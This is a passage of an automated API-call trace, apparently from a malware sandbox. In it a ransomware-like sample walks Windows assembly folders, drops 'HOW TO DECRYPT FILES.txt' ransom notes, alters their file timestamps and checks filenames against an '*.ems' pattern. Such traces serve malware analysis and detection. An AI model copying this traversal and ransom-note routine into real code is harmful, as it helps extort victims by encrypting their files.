wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.929] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.dll") returned -1 [0100.929] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.dll") returned -1 [0100.929] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.dll") returned -1 [0100.929] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config") returned="Policy.11.0.Microsoft.Office.Interop.Word.config" [0100.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" [0100.929] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.929] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.929] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.929] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.dll" [0100.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.dll", pszSpec="*.ems") returned 0 [0100.930] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e60d530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Word.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.930] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.930] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cb29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cb29b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.930] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.930] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f4edf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Vbe.Interop", cAlternateFileName="POLICY~1.INT")) returned 1 [0100.930] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Vbe.Interop") returned -1 [0100.931] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Vbe.Interop") returned -1 [0100.931] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.931] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Vbe.Interop" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop" [0100.931] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f4edf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.931] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f4edf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.932] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.932] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f4edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f4edf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.932] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.932] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.932] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\*.*") returned="*.*" [0100.932] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c" [0100.932] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f4edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f4edf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.936] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.936] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f4edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f4edf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.936] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.936] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.936] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Vbe.Interop.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.936] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.936] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Vbe.Interop.config") returned -1 [0100.936] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Vbe.Interop.config") returned -1 [0100.936] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Vbe.Interop.config") returned -1 [0100.936] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.936] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" [0100.936] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.936] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.936] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.936] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.939] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.939] CloseHandle (hObject=0x90) returned 1 [0100.939] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Vbe.Interop.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config" [0100.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config", pszSpec="*.ems") returned 0 [0100.940] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x706f8370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Vbe.Interop.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.940] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.940] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Vbe.Interop.dll") returned -1 [0100.940] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Vbe.Interop.dll") returned -1 [0100.940] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Vbe.Interop.dll") returned -1 [0100.940] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config") returned="Policy.11.0.Microsoft.Vbe.Interop.config" [0100.940] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" [0100.940] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.940] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.941] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.941] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Vbe.Interop.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.dll" [0100.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.dll", pszSpec="*.ems") returned 0 [0100.941] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x706f8370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Vbe.Interop.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.941] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f4edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f4edf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.941] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.942] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5eb6870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5eb6870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5eb6870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.11.0.office", cAlternateFileName="POLICY~1.OFF")) returned 1 [0100.942] lstrcmpA (lpString1=".", lpString2="Policy.11.0.office") returned -1 [0100.942] lstrcmpA (lpString1="..", lpString2="Policy.11.0.office") returned -1 [0100.942] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.942] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.office" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office" [0100.942] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5eb6870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5eb6870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5eb6870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.943] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5eb6870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5eb6870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5eb6870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.943] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.943] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x596c1850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5eb6870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5eb6870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.943] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.943] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.943] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\*.*") returned="*.*" [0100.943] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c" [0100.943] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x596c1850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5eb6870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5eb6870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.945] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.945] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x596c1850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5eb6870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5eb6870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.945] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.945] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.945] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bc953f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bc953f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.office.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.945] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.945] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.office.config") returned -1 [0100.945] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.office.config") returned -1 [0100.945] lstrcmpiA (lpString1="", lpString2="Policy.11.0.office.config") returned -1 [0100.945] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.945] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\" [0100.945] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.946] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\", 